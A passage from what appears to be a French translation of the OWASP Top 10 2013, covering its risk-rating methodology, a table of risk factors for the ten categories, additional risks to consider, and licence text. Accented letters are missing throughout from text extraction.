Dfinissez et intgrez les activits dimplmentation et de vrification de la scurit dans les processus de dveloppement et oprationnels existant. Les activits comprennent modlisation des menaces, conception scurise & review, programmation scurise et revue de code, tests de pntration et remdiation. Fournissez des services de support et dexpertise disposition des quipes de dveloppement et de gestion de projet pour russir. Grez avec des mtriques. Pilotez les dcisions de financement et d'amlioration en vous basant sur les mtriques et les donnes d'analyse recenses. Les mtriques comprennent le respect des pratiques / activits de scurit, les vulnrabilits introduites, les vulnrabilits attnues, la couverture de l'application, la densit de dfauts par type et par nombre d'instances, etc. Analysez les donnes des activits de mise en uvre et de vrification pour rechercher la cause premire et des modles de vulnrabilit pour conduire des amliorations stratgiques et systmiques travers l'entreprise.

Rendez vos indicateurs visibles

+R

Note propos des Risques

Il sagit de Risques, non de Faiblesses

Mme si les versions antrieures du Top 10 OWASP se focalisaient essentiellement sur les vulnrabilits les plus communes, le Top 10 OWASP a toujours t organis autour des risques. Ceci a caus une confusion comprhensible pour les personnes recherchant une classification infaillible des failles. Le Top 10 OWASP de 2010 a clarifi le rle central du risque au sein du Top 10 en tant trs explicite sur la faon dont les agents de menace, vecteurs dattaque, vulnrabilits, impacts techniques et impacts mtier se combinent pour gnrer le risque. Cette version du Top 10 OWASP suit la mme mthodologie. La mthodologie dvaluation du risque pour le Top 10 est base sur lOWASP Risk Rating Methodology. Pour chacun des lments du Top 10, nous avons estim le risque type introduit par chaque vulnrabilit pour une application type en estimant le facteurs de probabilit et dimpact pour chacune des failles. Nous avons donc class le Top 10 en fonction des vulnrabilits types qui introduisent le risque le plus important dans une application. La mthodologie OWASP Risk Rating Methodology dfinit de nombreux facteurs pour aider au calcul du risque associ une vulnrabilit identifie. Cependant, le Top 10 doit parler de gnralits plutt que vulnrabilits spcifiques aux applications relles. Par consquent, nous ne pourrons jamais tre aussi prcis que peut ltre le responsable du systme lorsquil est question de calculer les risques pesant sur leur(s) application(s). Vous tes les mieux placs pour juger de limportance de vos applications, de vos menaces, de comment votre systme a t construit et comment il est gr. Pour chaque vulnrabilit, notre mthodologie inclut trois facteurs de probabilit (prvalence, Dtection, et facilit dexploitation) et un facteur dimpact (technique). La prvalence dune faille est typiquement un facteur que vous navez pas calculer. Pour ces donnes, nous avons agrg les statistiques que nous ont fourni des entreprises dhorizons varis (cf. Remerciements page 3) afin dobtenir un Top 10 par prvalence. Ces donnes ont ensuite t combines avec deux autres facteurs de probabilit (Dtection et facilit dexploitation) afin de calculer un ratio de probabilit pour chaque faille. Enfin celui-ci a t multipli par limpact technique moyen que nous avons estim, afin dobtenir un classement du risque global pour chaque lment du Top 10. Il est noter que cette approche ne prend en compte ni la probabilit des menaces ni les nombreux dtails techniques propres votre application. Tous ces facteurs peuvent grandement affecter la probabilit quun attaquant puisse trouver et exploiter une vulnrabilit. Ce classement ne prend pas non plus en compte les impacts effectifs sur votre activit. En fonction de sa culture, de son secteur et des contraintes rglementaires, votre organisation devra dcider quel niveau de risque est acceptable pour chaque application. Le but du Top 10 OWASP nest pas de raliser lanalyse de risque votre place. Le schma suivant illustre notre calcul pour la vulnrabilit A3: Cross-Site Scripting. Les failles XSS sont si courantes quelles sont les seules tre classes TRES REPANDUE (prvalence de valeur 0). Tous les autres risques sont classs de rpandu peu commun (valeur de 1 3).

Vecteurs dattaque Agents de menace

Vulnrabilit

Impacts Techniques

Impacts Mtiers

Spcifique lApplication

Exploitabilit MOYENNE

Prvalence TRES REPANDUE

Dtection FACILE

Impact MODERE

Spcifique Application/Mtier

0 1

1 * 2

2 2

+F

Dtails sur les facteurs de Risques

Rcapitulatif des Facteurs de Risque du Top 10

Le tableau suivant reprsente une vue d'ensemble des risques de scurit du Top 10 2013, et les facteurs assigns chacun des risques. Ces facteurs ont t dtermins d'aprs les statistiques connues et en fonction de l'exprience de l'quipe OWASP Top 10. Pour une comprhension complte de ces risques pour votre application ou organisation, vous devez examiner vos facteurs de menace spcifiques et les impacts commerciaux correspondants. Une norme faille de scurit ne reprsentera pas forcment de risque srieux sil n'y a aucun agent menaant capable d'effectuer l'attaque, ou si les impacts commerciaux sont ngligeables au vu des informations exposes.

RISQUES
Agents de Menace

Vecteurs dattaque Exploitabilit Prvalence

Vulnrabilit Dtection

Impacts Techniques Impact

Impacts Mtier

A1-Injection A2-Auth et Sess A3-XSS A4-Rf non scu. A5-Config A6-Donnes A7-ACL Fonc. A8-CSRF A9-Composants

Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication

FACILE MOYENNE MOYENNE FACILE FACILE DIFFICILE FACILE MOYENNE MOYENNE

COMMUNE RPANDUE TRS RPANDUE COMMUNE COMMUNE RARE COMMUNE COMMUNE RPANDUE

MOYENNEMENT MOYENNEMENT FACILEMENT FACILEMENT FACILEMENT MOYENNEMENT MOYENNEMENT FACILEMENT DIFFICILEMENT

SVRE SVRE MODR MODR MODR SVRE MODR MODR MODR

Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication Spcifique lApplication

A10-Redirection

MOYENNE

RARE

FACILEMENT

MODR

Risques additionnels considrer

Le Top 10 couvre beaucoup de domaines, mais il existe d'autres risques que vous devez prendre en considration et valuer pour votre entreprise. Certain apparaissent dans des versions antrieures du Top 10, d'autres non, il y a aussi toutes les nouvelles techniques d'attaques dcouvertes tous les jours. Voici une liste des risques de scurit que vous devriez aussi examiner: Clickjacking Concurrency Flaws Dni de service (initialement Entre 2004-A9 dans le Top 10 2004 ) Expression Language Injection (CWE-917) Fuite dinformations et Mauvaise gestion des erreurs (Faisait partie du Top 10 2007 Entre 2007-A6) Insufficient Anti-automation (CWE-799) Journalisation insuffisante et Responsabilits (Relatif au Top 10 2007 Entre 2007-A6) Manque de systme de dtection/rponse aux intrusions Excution de fichier malveillant (Dans Top 10 2007 Entre 2007-A3) Affectation de masse (CWE-915) Protection de la vie prive de lutilisateur

LES ICNES CI-DESSOUS REPRESENTENT LES AUTRES VERSIONS DE CET OUVRAGE DISPONIBLES A L'IMPRESSION.
ALPHA: Le contenu de Qualit Alpha est un document de travail dont le contenu est approximatif et en dveloppement jusqu'au niveau de publication suprieur. BETA: Le contenu de Qualit Beta correspond au niveau de publication suivant. Le contenu reste en dveloppement jusqu' la prochaine publication. RELEASE: Le contenu de Qualit Release est le plus haut niveau de qualit du cycle de publication dun ouvrage, et correspond au produit final.

VOUS TES LIBRES:

de partager - copier, distribuer et transmettre ce travail
de modifier - d'adapter ce travail

SOUS LES CONDITIONS SUIVANTES:

Attribution - Vous devez attribuer ce travail de la faon spcifie par les auteurs ou concdants (mais sans jamais suggrer qu'ils vous soutiennent ou supportent l'usage que vous en fates). Partage l'identique - Si vous altrez, transformez ou rutilisez ce travail, vous ne pouvez distribuer le travail rsultant que sous la mme licence, sous une license similaire ou sous une license compatible.

LOpen Web Application Security Project (OWASP) est une communaut mondiale libre et ouverte ayant pour but l'amlioration de la scurit des applications logicielles. Notre mission est de rendre la scurit des applications visible , pour que les particuliers et les entreprises puissent prendre des dcisions tenant compte des risques de scurit lis aux applications. Chacun est libre de participer l'OWASP et tous nos supports sont disponibles sous licence libre et gratuite. La Fondation OWASP est une association but non lucratif de type 501c3 qui garantit la disponibilit future et le support de nos travaux.